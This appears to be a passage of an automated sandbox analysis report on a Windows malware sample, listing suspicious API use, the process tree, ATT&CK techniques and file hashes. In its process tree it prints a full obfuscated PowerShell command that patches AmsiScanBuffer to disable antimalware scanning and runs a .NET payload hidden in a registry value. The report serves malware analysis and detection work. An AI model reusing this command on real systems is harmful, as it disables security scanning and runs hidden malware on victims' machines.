SeShutdownPrivilege 2052 svchost.exe Token: SeSystemEnvironmentPrivilege 2052 svchost.exe Token: SeUndockPrivilege 2052 svchost.exe Token: SeManageVolumePrivilege 2052 svchost.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1960 wrote to memory of 4724 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 82 PID 1960 wrote to memory of 4724 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 82 PID 1960 wrote to memory of 4812 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 84 PID 1960 wrote to memory of 4812 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 84 PID 1960 wrote to memory of 4812 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 84 PID 1960 wrote to memory of 4812 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 84 PID 4812 wrote to memory of 1512 4812 powershell.exe 86 PID 4812 wrote to memory of 1512 4812 powershell.exe 86 PID 4812 wrote to memory of 1512 4812 powershell.exe 86 PID 4812 wrote to memory of 1512 4812 powershell.exe 86 PID 4812 wrote to memory of 1512 4812 powershell.exe 86 PID 4812 wrote to memory of 1512 4812 powershell.exe 86 PID 4812 wrote to memory of 1512 4812 powershell.exe 86 PID 4812 wrote to memory of 1512 4812 powershell.exe 86 PID 4812 wrote to memory of 1512 4812 powershell.exe 86 PID 1276 wrote to memory of 4952 1276 powershell.EXE 89 PID 1276 wrote to memory of 4952 1276 powershell.EXE 89 PID 1276 wrote to memory of 4952 1276 powershell.EXE 89 PID 1276 wrote to memory of 4952 1276 powershell.EXE 89 PID 1276 wrote to memory of 4952 1276 powershell.EXE 89 PID 1276 wrote to memory of 4952 1276 powershell.EXE 89 PID 1276 wrote to memory of 4952 1276 powershell.EXE 89 PID 1276 wrote to memory of 4952 1276 powershell.EXE 89 PID 4952 wrote to memory of 620 4952 dllhost.exe 5 PID 4952 wrote to memory of 688 4952 dllhost.exe 7 PID 4952 wrote to memory of 960 4952 dllhost.exe 12 PID 4952 wrote to memory of 396 4952 dllhost.exe 13 PID 4952 wrote to memory of 400 4952 dllhost.exe 14 PID 4952 wrote to memory of 532 4952 dllhost.exe 15 PID 4952 wrote to memory of 1032 4952 dllhost.exe 16 PID 4952 wrote to memory of 1172 4952 dllhost.exe 18 PID 4952 wrote to memory of 1184 4952 dllhost.exe 19 PID 4952 wrote to memory of 1212 4952 dllhost.exe 20 PID 4952 wrote to memory of 1268 4952 dllhost.exe 21 PID 4952 wrote to memory of 1312 4952 dllhost.exe 22 PID 4952 wrote to memory of 1344 4952 dllhost.exe 23 PID 4952 wrote to memory of 1424 4952 dllhost.exe 24 PID 4952 wrote to memory of 1452 4952 dllhost.exe 25 PID 4952 wrote to memory of 1576 4952 dllhost.exe 26 PID 4952 wrote to memory of 1596 4952 dllhost.exe 27 PID 4952 wrote to memory of 1632 4952 dllhost.exe 28 PID 4952 wrote to memory of 1724 4952 dllhost.exe 29 PID 4952 wrote to memory of 1756 4952 dllhost.exe 30 PID 4952 wrote to memory of 1764 4952 dllhost.exe 31 PID 4952 wrote to memory of 1860 4952 dllhost.exe 32 PID 4952 wrote to memory of 1996 4952 dllhost.exe 33 PID 4952 wrote to memory of 2004 4952 dllhost.exe 34 PID 4952 wrote to memory of 2012 4952 dllhost.exe 35 PID 4952 wrote to memory of 1896 4952 dllhost.exe 36 PID 4952 wrote to memory of 2052 4952 dllhost.exe 37 PID 4952 wrote to memory of 2160 4952 dllhost.exe 38 PID 4952 wrote to memory of 2248 4952 dllhost.exe 40 PID 4952 wrote to memory of 2328 4952 dllhost.exe 41 PID 4952 wrote to memory of 2456 4952 dllhost.exe 42 PID 4952 wrote to memory of 2464 4952 dllhost.exe 43 PID 4952 wrote to memory of 2640 4952 dllhost.exe 44 PID 4952 wrote to memory of 2684 4952 dllhost.exe 45 PID 4952 wrote to memory of 2716 4952 dllhost.exe 46 PID 4952 wrote to memory of 2780 4952 dllhost.exe 47 PID 4952 wrote to memory of 2788 4952 dllhost.exe 48 PID 4952 wrote to memory of 2820 4952 dllhost.exe 49 PID 4952 wrote to memory of 2836 4952 dllhost.exe 50 PID 4952 wrote to memory of 2876 4952 dllhost.exe 51 PID 4952 wrote to memory of 3056 4952 dllhost.exe 52 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:396
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{22f5a4f3-b9e4-4c78-8a15-d7b834f2d4e9}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4952
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-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
PID:688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:400
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1184 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2876
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:RxiOyAwYoFfN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zxldhcyTGeaKyB,[Parameter(Position=1)][Type]$CjaubREdkO)$UBBqkAHtDDo=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+''+[Char](108)+''+'e'+''+'c'+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+'g'+''+'a'+''+[Char](116)+''+'e'+''+'T'+'y'+[Char](112)+''+'e'+'','C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+[Char](100)+''+','+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$UBBqkAHtDDo.DefineConstructor(''+[Char](82)+'TS'+[Char](112)+'e'+[Char](99)+''+'i'+''+'a'+''+'l'+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+',H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$zxldhcyTGeaKyB).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+'m'+[Char](101)+''+','+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$UBBqkAHtDDo.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+','+'H'+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+'Si'+'g'+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+'a'+'l',$CjaubREdkO,$zxldhcyTGeaKyB).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'ag'+[Char](101)+''+[Char](100)+'');Write-Output $UBBqkAHtDDo.CreateType();}$lKoFjttjsrXEA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+'te'+[Char](109)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+'.'+[Char](85)+''+[Char](110)+'saf'+[Char](101)+''+'N'+''+'a'+''+'t'+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+''+'h'+''+'o'+''+'d'+'s');$RIHyRWGVqgqwFT=$lKoFjttjsrXEA.GetMethod(''+'G'+'e'+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+'A'+'d'+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VbiPxcogIYpXMKwXDIa=RxiOyAwYoFfN @([String])([IntPtr]);$KPWAsUrvUOKmMGhIFmbyed=RxiOyAwYoFfN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YNDTKhTrwtP=$lKoFjttjsrXEA.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object]('ke'+'r'+'n'+[Char](101)+'l'+[Char](51)+''+[Char](50)+'.'+'d'+''+[Char](108)+'l')));$BVFoHpzyZPLhDZ=$RIHyRWGVqgqwFT.Invoke($Null,@([Object]$YNDTKhTrwtP,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+'a'+'ry'+[Char](65)+'')));$nBMMiAjYWuSlXDlcf=$RIHyRWGVqgqwFT.Invoke($Null,@([Object]$YNDTKhTrwtP,[Object]('V'+[Char](105)+'r'+'t'+''+[Char](117)+''+'a'+'lP'+[Char](114)+'o'+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$RGEpXQV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BVFoHpzyZPLhDZ,$VbiPxcogIYpXMKwXDIa).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+''+'d'+''+'l'+''+'l'+'');$zqOHdMRrlsnivvyAa=$RIHyRWGVqgqwFT.Invoke($Null,@([Object]$RGEpXQV,[Object]('A'+[Char](109)+''+[Char](115)+'i'+'S'+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+'ffe'+[Char](114)+'')));$dPVvOewIFv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nBMMiAjYWuSlXDlcf,$KPWAsUrvUOKmMGhIFmbyed).Invoke($zqOHdMRrlsnivvyAa,[uint32]8,4,[ref]$dPVvOewIFv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zqOHdMRrlsnivvyAa,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nBMMiAjYWuSlXDlcf,$KPWAsUrvUOKmMGhIFmbyed).Invoke($zqOHdMRrlsnivvyAa,[uint32]8,0x20,[ref]$dPVvOewIFv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+'AR'+[Char](69)+'').GetValue(''+[Char](36)+''+'n'+''+'y'+''+[Char](97)+''+'-'+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1276
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1424
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2640
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1576
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1596
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1724
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1756
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1860
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1996
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2004
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2012
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2052
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2160
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2248
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2716
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2788
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2836
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3056
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3076
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3424
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C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe"C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe"2⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F3⤵PID:4724
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"4⤵
- System Location Discovery: System Language Discovery
PID:1512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3608
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3796
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3964
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3420
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:4552
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4008
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:2320
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4180
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1464
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4720
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:2452
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe d4481ea551d431add7cb4fb72f2bcf6e /1yoxNu8O0uGmUkGhbJg6Q.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:1968 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:4132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1544
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5072
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:2972
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1672
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:3696
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
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Downloads
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
- Size 2KB
- SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
- MD5 8abf2d6067c6f3191a015f84aa9b6efe
- SHA1 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
- SHA512 c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
- Size 2KB
- SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
- MD5 f313c5b4f95605026428425586317353
- SHA1 06be66fa06e1cffc54459c38d3d258f46669d01a
- SHA512 b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
- MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
- SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
- SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
- MD5 7d612892b20e70250dbd00d0cdd4f09b
- SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
- SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
- MD5 1e8e2076314d54dd72e7ee09ff8a52ab
- SHA1 5fd0a67671430f66237f483eef39ff599b892272
- SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
- MD5 0b990e24f1e839462c0ac35fef1d119e
- SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
- SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
- MD5 SHA1 SHA512
- Path C:\Windows\Temp\__PSScriptPolicyTest_thlgoqmq.psy.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512